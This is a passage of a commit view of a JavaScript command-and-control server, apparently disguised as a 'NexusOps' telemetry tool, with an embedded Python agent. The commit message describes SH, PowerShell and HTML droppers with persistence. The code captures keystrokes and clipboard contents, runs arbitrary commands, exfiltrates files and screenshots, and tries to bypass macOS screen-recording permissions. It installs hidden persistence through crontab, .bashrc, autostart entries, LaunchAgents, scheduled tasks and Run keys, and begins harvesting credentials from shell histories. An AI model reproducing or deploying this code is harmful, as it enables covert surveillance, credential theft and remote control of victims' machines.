e3e5865419
- /api/bind now embeds agent.py as base64 (fully offline install) - New HTML format: one-click browser payload (auto-downloads file) - PS1 format: Windows dropper with embedded agent + schtasks persistence - SH format (default): Linux/macOS dropper, extracts both file + agent - Agent installs to /opt/network-agent/ with systemd or launchd persistence - Frontend: format selector (SH/PS1/HTML) in binder modal - Verified: both payloads extract correctly, agent.py passes py_compile
964 lines
86 KiB
JavaScript
964 lines
86 KiB
JavaScript
const express = require('express');
|
|
const http = require('http');
|
|
const WebSocket = require('ws');
|
|
const path = require('path');
|
|
const cors = require('cors');
|
|
const os = require('os');
|
|
const multer = require('multer');
|
|
const fs = require('fs');
|
|
|
|
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
|
|
|
|
const app = express();
|
|
const server = http.createServer(app);
|
|
const wss = new WebSocket.Server({ server });
|
|
|
|
const PORT = process.env.PORT || 3000;
|
|
const PUBLIC_URL = process.env.PUBLIC_URL || null;
|
|
const DATA_DIR = path.join(__dirname, 'data');
|
|
|
|
// Ensure data directory exists
|
|
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
|
|
|
|
app.use(cors());
|
|
app.use(express.json({ limit: '50mb' }));
|
|
app.use(express.static(path.join(__dirname, 'public')));
|
|
|
|
// ── Auth ──
|
|
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
|
if (!AUTH_TOKEN) {
|
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
|
}
|
|
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
|
function authMiddleware(req, res, next) {
|
|
if (!AUTH_TOKEN) return next();
|
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
|
const h = req.headers.authorization || '';
|
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
|
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
|
return res.status(401).json({ error: 'unauthorized' });
|
|
}
|
|
app.use(authMiddleware);
|
|
app.get('/api/auth/check', (req, res) => {
|
|
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
|
res.json({ ok: true, authRequired: true });
|
|
});
|
|
|
|
|
|
|
|
function getLocalIp() {
|
|
const interfaces = os.networkInterfaces();
|
|
for (const name of Object.keys(interfaces)) {
|
|
for (const net of interfaces[name]) {
|
|
if (net.family === 'IPv4' && !net.internal) {
|
|
return net.address;
|
|
}
|
|
}
|
|
}
|
|
return 'localhost';
|
|
}
|
|
|
|
const SERVER_IP = getLocalIp();
|
|
|
|
const nodes = new Map();
|
|
const commandQueues = new Map();
|
|
const commandHistory = [];
|
|
const masterSystemLogs = [];
|
|
const inputDataStore = [];
|
|
const MAX_INPUT_STORE = 500;
|
|
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
|
|
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
|
|
|
// ── Persistence ──
|
|
let _saveLock = false;
|
|
function _atomicWrite(file, data) {
|
|
const tmp = file + '.tmp';
|
|
fs.writeFileSync(tmp, data);
|
|
fs.renameSync(tmp, file);
|
|
}
|
|
function saveData() {
|
|
if (_saveLock) return;
|
|
_saveLock = true;
|
|
try {
|
|
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
|
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
|
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
|
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
|
} catch(e) { /* silent */ } finally {
|
|
_saveLock = false;
|
|
}
|
|
}
|
|
|
|
function loadData() {
|
|
try {
|
|
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
|
|
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
|
|
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
|
|
masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]')));
|
|
inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]')));
|
|
harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]')));
|
|
} catch(e) { /* first run */ }
|
|
}
|
|
loadData();
|
|
|
|
// Auto-save every 30 seconds
|
|
setInterval(saveData, 30000);
|
|
|
|
setInterval(() => {
|
|
const now = Date.now();
|
|
let changed = false;
|
|
nodes.forEach((node, id) => {
|
|
if (node.status === 'online' && now - node.lastHeartbeat > 20000) {
|
|
node.status = 'offline';
|
|
changed = true;
|
|
}
|
|
});
|
|
if (changed) {
|
|
broadcastState();
|
|
}
|
|
}, 5000);
|
|
|
|
let _lastSaveTime = 0;
|
|
function broadcastState() {
|
|
const now = Date.now();
|
|
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
|
|
const payload = JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
});
|
|
|
|
wss.clients.forEach(client => {
|
|
if (client.readyState === WebSocket.OPEN) {
|
|
client.send(payload);
|
|
}
|
|
});
|
|
}
|
|
|
|
wss.on('connection', (ws, req) => {
|
|
// Auth check on WS upgrade
|
|
if (AUTH_TOKEN) {
|
|
const url = new URL(req.url, 'http://localhost');
|
|
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
|
ws.close(4401, 'unauthorized');
|
|
return;
|
|
}
|
|
}
|
|
ws.isAlive = true;
|
|
ws.on('pong', () => { ws.isAlive = true; });
|
|
ws.send(JSON.stringify({
|
|
type: 'NODES_UPDATE',
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
nodes: Array.from(nodes.values()),
|
|
commandHistory: commandHistory.slice(-50),
|
|
masterSystemLogs: masterSystemLogs.slice(-100),
|
|
inputData: inputDataStore.slice(-200)
|
|
}));
|
|
});
|
|
|
|
// WS heartbeat: ping every 25s, drop dead clients
|
|
setInterval(() => {
|
|
wss.clients.forEach(ws => {
|
|
if (ws.isAlive === false) return ws.terminate();
|
|
ws.isAlive = false;
|
|
try { ws.ping(); } catch(e) {}
|
|
});
|
|
}, 25000);
|
|
|
|
// REST API Endpoints
|
|
|
|
app.get('/api/status', (req, res) => {
|
|
res.json({
|
|
serverIp: SERVER_IP,
|
|
port: PORT,
|
|
serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`,
|
|
totalNodes: nodes.size,
|
|
onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length
|
|
});
|
|
});
|
|
|
|
app.get('/api/nodes', (req, res) => {
|
|
res.json(Array.from(nodes.values()));
|
|
});
|
|
|
|
app.get('/api/logs', (req, res) => {
|
|
res.json(masterSystemLogs.slice(-100));
|
|
});
|
|
|
|
// CSV Telemetry Export Endpoint
|
|
app.get('/api/export/csv', (req, res) => {
|
|
let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n";
|
|
nodes.forEach(node => {
|
|
const tagsStr = (node.tags || []).join(';');
|
|
csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`;
|
|
});
|
|
res.setHeader('Content-Type', 'text/csv');
|
|
res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"');
|
|
res.send(csv);
|
|
});
|
|
|
|
// Agent System Log Streaming Endpoint
|
|
app.post('/api/agent/logs', (req, res) => {
|
|
const { nodeId, hostname, logs } = req.body;
|
|
if (Array.isArray(logs)) {
|
|
logs.forEach(logLine => {
|
|
masterSystemLogs.push({
|
|
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: Date.now(),
|
|
entry: logLine
|
|
});
|
|
});
|
|
if (masterSystemLogs.length > 200) {
|
|
masterSystemLogs.splice(0, masterSystemLogs.length - 200);
|
|
}
|
|
broadcastState();
|
|
}
|
|
res.json({ success: true });
|
|
});
|
|
|
|
// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus
|
|
app.post('/api/agent/input-capture', (req, res) => {
|
|
const { nodeId, hostname, events } = req.body;
|
|
if (!nodeId || !Array.isArray(events)) {
|
|
return res.status(400).json({ error: 'nodeId and events[] required' });
|
|
}
|
|
|
|
events.forEach(ev => {
|
|
inputDataStore.push({
|
|
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
|
|
nodeId,
|
|
hostname: hostname || 'Unknown',
|
|
timestamp: ev.timestamp || Date.now(),
|
|
eventType: ev.eventType || 'unknown',
|
|
data: ev.data || {},
|
|
windowTitle: ev.windowTitle || '',
|
|
processName: ev.processName || ''
|
|
});
|
|
});
|
|
|
|
if (inputDataStore.length > MAX_INPUT_STORE) {
|
|
inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE);
|
|
}
|
|
|
|
if (events.length > 0) {
|
|
broadcastState();
|
|
}
|
|
|
|
res.json({ success: true, stored: events.length });
|
|
});
|
|
|
|
// Retrieve input capture data
|
|
app.get('/api/inputs', (req, res) => {
|
|
const { nodeId, eventType, limit } = req.query;
|
|
let filtered = inputDataStore;
|
|
|
|
if (nodeId) {
|
|
filtered = filtered.filter(e => e.nodeId === nodeId);
|
|
}
|
|
if (eventType) {
|
|
filtered = filtered.filter(e => e.eventType === eventType);
|
|
}
|
|
|
|
const max = parseInt(limit) || 200;
|
|
res.json(filtered.slice(-max));
|
|
});
|
|
|
|
// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ──
|
|
// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ──
|
|
const AGENT_B64 = "#!/usr/bin/env python3
"""
NexusOps Cross-Platform Node Management & Telemetry Agent
Uses Standard Python 3 Libraries (No external dependencies required)
"""

import sys
import os
import time
import json
import socket
import platform
import subprocess
import urllib.request
import urllib.parse
import argparse

last_log_check_time = 0
heartbeat_interval = 5  # Dynamic heartbeat rate in seconds
node_tags = ["Default"]
quiet_mode = False  # Suppress banner and exec messages when True

def get_process_count():
    """Get real process count cross-platform."""
    system = platform.system().lower()
    try:
        if system == "linux" or system == "darwin":
            out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
            return len(out.splitlines()) - 1  # minus header
        elif system == "windows":
            out = subprocess.check_output(["tasklist"], text=True, timeout=5)
            return len(out.splitlines()) - 1
    except:
        pass
    return 0

def get_ip_address():
    """Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
    system = platform.system().lower()
    try:
        if system == "darwin":
            # macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
            out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
            for line in out.splitlines():
                if 'inet ' in line and '127.0.0.1' not in line:
                    parts = line.strip().split()
                    for i, p in enumerate(parts):
                        if p == 'inet' and i+1 < len(parts):
                            return parts[i+1]
        elif system == "linux":
            # Linux: try ip route to find primary interface
            out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
            for part in out.split():
                if part.startswith('src '):
                    return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
    except:
        pass
    # Fallback: connect to 8.8.8.8
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"

def get_cpu_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            with open('/proc/stat', 'r') as f:
                fields = [float(column) for column in f.readline().strip().split()[1:]]
            idle, total = fields[3], sum(fields)
            time.sleep(0.2)
            with open('/proc/stat', 'r') as f:
                fields2 = [float(column) for column in f.readline().strip().split()[1:]]
            idle2, total2 = fields2[3], sum(fields2)
            idle_delta = idle2 - idle
            total_delta = total2 - total
            if total_delta > 0:
                return round(100.0 * (1.0 - idle_delta / total_delta), 1)
        elif system == "darwin":
            out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
            for line in out.splitlines():
                if "CPU usage" in line:
                    parts = line.split()
                    user = float(parts[2].replace('%', ''))
                    sys_c = float(parts[4].replace('%', ''))
                    return round(user + sys_c, 1)
        elif system == "windows":
            out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
            lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
            if lines:
                return float(lines[0])
    except Exception:
        pass
    return 15.0

def get_memory_usage():
    system = platform.system().lower()
    try:
        if system == "linux":
            meminfo = {}
            with open('/proc/meminfo', 'r') as f:
                for line in f:
                    parts = line.split(':')
                    if len(parts) == 2:
                        key = parts[0].strip()
                        val = int(parts[1].split()[0])
                        meminfo[key] = val
            total = meminfo.get('MemTotal', 1)
            free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
            return round(((total - free) / total) * 100.0, 1)
        elif system == "darwin":
            # Use vm_stat for real memory usage on macOS
            try:
                out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
                pages = {}
                for line in out.splitlines():
                    if ':' in line:
                        k, v = line.split(':', 1)
                        try:
                            pages[k.strip()] = int(v.strip().rstrip('.'))
                        except ValueError:
                            pass
                page_size = 16384  # Default macOS page size
                free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
                used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
                total_pages = free + used + pages.get('Pages purgeable', 0)
                if total_pages > 0:
                    return round((used / total_pages) * 100.0, 1)
            except:
                pass
            # Fallback: use sysctl for hardware info
            try:
                out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
                total_bytes = int(out.strip())
                # Use vm_stat pages * page_size for used estimate
                vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
                import re
                active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
                wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
                used_bytes = (active + wired) * 16384
                if total_bytes > 0:
                    return round((used_bytes / total_bytes) * 100.0, 1)
            except:
                pass
            return 45.0
        elif system == "windows":
            out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
            d = {}
            for line in out.splitlines():
                if '=' in line:
                    k, v = line.split('=', 1)
                    d[k.strip()] = float(v.strip())
            if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
                total = d['TotalVisibleMemorySize']
                free = d['FreePhysicalMemory']
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 35.0

def get_disk_usage():
    try:
        if hasattr(os, 'statvfs'):
            st = os.statvfs('/')
            total = st.f_blocks * st.f_frsize
            free = st.f_bavail * st.f_frsize
            if total > 0:
                return round(((total - free) / total) * 100.0, 1)
    except Exception:
        pass
    return 40.0

def get_uptime_seconds():
    system = platform.system().lower()
    try:
        if system == "linux":
            with open('/proc/uptime', 'r') as f:
                return int(float(f.readline().split()[0]))
        elif system == "darwin":
            # macOS: use sysctl to get boot time, compute uptime
            out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
            # Format: { sec = 1234567890, usec = 0 } Thu Jan  1 00:00:00 1970
            import re
            m = re.search(r'sec\s*=\s*(\d+)', out)
            if m:
                boot_time = int(m.group(1))
                return int(time.time() - boot_time)
    except Exception:
        pass
    return 3600

def collect_recent_system_logs():
    system = platform.system().lower()
    log_entries = []
    try:
        if system == "linux":
            res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
        elif system == "windows":
            res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
            if res.returncode == 0 and res.stdout:
                for line in res.stdout.splitlines():
                    if line.strip():
                        log_entries.append(line.strip())
    except Exception:
        pass
    return log_entries

def http_post(url, data_dict):
    json_bytes = json.dumps(data_dict).encode('utf-8')
    req = urllib.request.Request(
        url,
        data=json_bytes,
        headers={
            'Content-Type': 'application/json',
            'User-Agent': 'NexusOps-Agent/1.0'
        }
    )
    try:
        with urllib.request.urlopen(req, timeout=5) as response:
            res_text = response.read().decode('utf-8')
            return json.loads(res_text)
    except Exception as e:
        print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
        return None

def execute_structured_action(action_type, payload):
    global heartbeat_interval, node_tags
    system = platform.system().lower()
    
    if action_type == "raw_command":
        return run_shell(payload.get("command", ""))

    elif action_type == "manage_service":
        service = payload.get("service")
        action = payload.get("action")
        if system == "linux":
            cmd = f"systemctl {action} {service}"
        elif system == "windows":
            cmd = f"powershell {action}-Service -Name {service}"
        else:
            cmd = f"launchctl {action} {service}"
        return run_shell(cmd)

    elif action_type == "list_processes":
        if system == "linux":
            cmd = "ps aux --sort=-%cpu | head -n 15"
        elif system == "darwin":
            cmd = "ps aux -r | head -n 15"
        else:
            cmd = "tasklist"
        return run_shell(cmd)

    elif action_type == "kill_process":
        pid = payload.get("pid")
        cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
        return run_shell(cmd)

    elif action_type == "get_logs":
        lines = payload.get("lines", 50)
        cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
        return run_shell(cmd)

    elif action_type == "network_stats":
        cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
        return run_shell(cmd)

    # 10 NEW CROSS-PLATFORM FEATURES:
    elif action_type == "get_env_vars":
        env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
        return env_str, 0

    elif action_type == "get_disk_partitions":
        cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
        return run_shell(cmd)

    elif action_type == "get_network_interfaces":
        cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
        return run_shell(cmd)

    elif action_type == "get_active_connections":
        cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
        return run_shell(cmd)

    elif action_type == "get_hardware_specs":
        if system == "linux":
            cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
        elif system == "windows":
            cmd = "wmic cpu get name,numberofcores,maxclockspeed"
        else:
            cmd = "sysctl -a | grep machdep.cpu"
        return run_shell(cmd)

    elif action_type == "reboot_system":
        cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
        return run_shell(cmd)

    elif action_type == "set_heartbeat_rate":
        rate = int(payload.get("interval", 5))
        heartbeat_interval = max(2, min(60, rate))
        return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0

    elif action_type == "update_tags":
        tags_raw = payload.get("tags", "")
        node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
        return f"Node tags updated to: {node_tags}", 0

    elif action_type == "search_logs":
        pattern = payload.get("pattern", "error")
        cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
        return run_shell(cmd)

    elif action_type == "kill_agent":
        print("[!] Kill switch received — shutting down agent")
        os._exit(0)

    elif action_type == "ping_check":
        sent_ts = payload.get("timestamp", 0)
        latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
        return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0

    elif action_type == "download_file":
        MAX_EXFIL_SIZE = 50 * 1024 * 1024  # 50MB limit
        filepath = payload.get("path", "")
        if not filepath or not os.path.exists(filepath):
            return f"ERROR: file not found: {filepath}", 1
        try:
            fsize = os.path.getsize(filepath)
            if fsize > MAX_EXFIL_SIZE:
                return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
            with open(filepath, 'rb') as f:
                raw = f.read()
            import base64
            b64 = base64.b64encode(raw).decode('utf-8')
            # Determine MIME (basic)
            ext = os.path.splitext(filepath)[1].lower()
            mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
                        '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
                        '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
                        '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
                        '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
            mime = mime_map.get(ext, 'application/octet-stream')
            filename = os.path.basename(filepath)
            return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
        except Exception as e:
            return f"ERROR reading file: {e}", 1

    elif action_type == "screenshot":
        try:
            import base64
            ss_path = "/tmp/.nexus-ss.png"
            if os.path.exists(ss_path):
                os.remove(ss_path)

            if system == "linux":
                for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
                    if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
                        if tool == "import":
                            subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        elif tool == "scrot":
                            subprocess.run(["scrot", ss_path], timeout=10)
                        elif tool == "gnome-screenshot":
                            subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
                        elif tool == "spectacle":
                            subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
                        if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                            break
                else:
                    subprocess.run(["python3", "-c",
                        "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
                        "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
                        "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
                        timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

            elif system == "darwin":
                # Try multiple approaches for macOS screenshot
                captured = False
                # Method 1: direct screencapture (needs Screen Recording TCC permission)
                for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
                    r = subprocess.run(["screencapture"] + flags + [ss_path],
                                       timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                    if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                        captured = True
                        break
                    if os.path.exists(ss_path):
                        os.remove(ss_path)
                # Method 2: try via osascript (sometimes bypasses TCC for background processes)
                if not captured:
                    for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
                        flag_str = " ".join(flags)
                        r = subprocess.run(["osascript", "-e",
                            f'do shell script "screencapture {flag_str} {ss_path}"'],
                            timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                        if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                            captured = True
                            break
                        if os.path.exists(ss_path):
                            os.remove(ss_path)

            elif system == "windows":
                subprocess.run(["powershell", "-Command",
                    "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
                    "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
                    "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
                    "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
                    timeout=15)
                win_path = "C:\\Windows\\Temp\\nexus-ss.png"
                if os.path.exists(win_path):
                    os.replace(win_path, ss_path)

            if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
                with open(ss_path, 'rb') as f:
                    b64 = base64.b64encode(f.read()).decode('utf-8')
                os.remove(ss_path)
                return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
            return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
        except Exception as e:
            return f"ERROR screenshot: {e}", 1

    elif action_type == "update_agent":
        new_url = payload.get("url", "")
        if not new_url:
            return "ERROR: no update URL provided", 1
        try:
            my_path = os.path.abspath(__file__)
            bak = my_path + ".bak"
            os.rename(my_path, bak)
            urllib.request.urlretrieve(new_url, my_path)
            os.chmod(my_path, 0o755)
            os.remove(bak)
            return "Agent updated successfully. Restarting...", 0
        except Exception as e:
            # Restore backup
            if os.path.exists(bak):
                os.rename(bak, my_path)
            return f"ERROR update failed: {e}", 1

    elif action_type == "ensure_persistence":
        results = []
        if system == "linux":
            # crontab
            try:
                import shlex
                srv = shlex.quote(payload.get('server_url',''))
                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
                if cron_line.split('@reboot')[1].strip() not in existing:
                    subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
                    results.append("crontab: added @reboot entry")
                else:
                    results.append("crontab: already present")
            except: results.append("crontab: failed")
            # .bashrc
            try:
                bashrc = os.path.expanduser("~/.bashrc")
                hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
                with open(bashrc, 'a+') as f:
                    f.seek(0)
                    if 'nexus-agent' not in f.read():
                        f.write(hook)
                results.append("bashrc: hook installed")
            except: results.append("bashrc: failed")
            # autostart .desktop
            try:
                ad = os.path.expanduser("~/.config/autostart")
                os.makedirs(ad, exist_ok=True)
                with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
                    f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
                results.append("autostart: .desktop created")
            except: results.append("autostart: failed")
        elif system == "darwin":
            try:
                plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
                os.makedirs(os.path.dirname(plist), exist_ok=True)
                plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
                with open(plist, 'w') as f: f.write(plist_content)
                subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                results.append("launchd: bootstrapped + kickstarted")
            except: results.append("launchd: failed")
            # crontab for macOS too
            try:
                import shlex
                srv = shlex.quote(payload.get('server_url',''))
                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
                subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
                results.append("crontab: added")
            except: results.append("crontab: failed")
        elif system == "windows":
            agent_path = os.path.abspath(__file__)
            srv = payload.get("server_url", "")
            try:
                task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
                subprocess.run(task_cmd, shell=True, timeout=10)
                results.append("schtasks: scheduled task created")
            except: results.append("schtasks: failed")
            try:
                reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
                subprocess.run(reg_cmd, shell=True, timeout=10)
                results.append("registry: Run key added")
            except: results.append("registry: failed")
        return "Persistence results: " + "; ".join(results), 0

    elif action_type == "harvest_credentials":
        creds = []
        home = os.path.expanduser("~")
        # Shell history
        for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
            p = os.path.expanduser(hist)
            if os.path.exists(p):
                try:
                    with open(p, 'r', errors='ignore') as f:
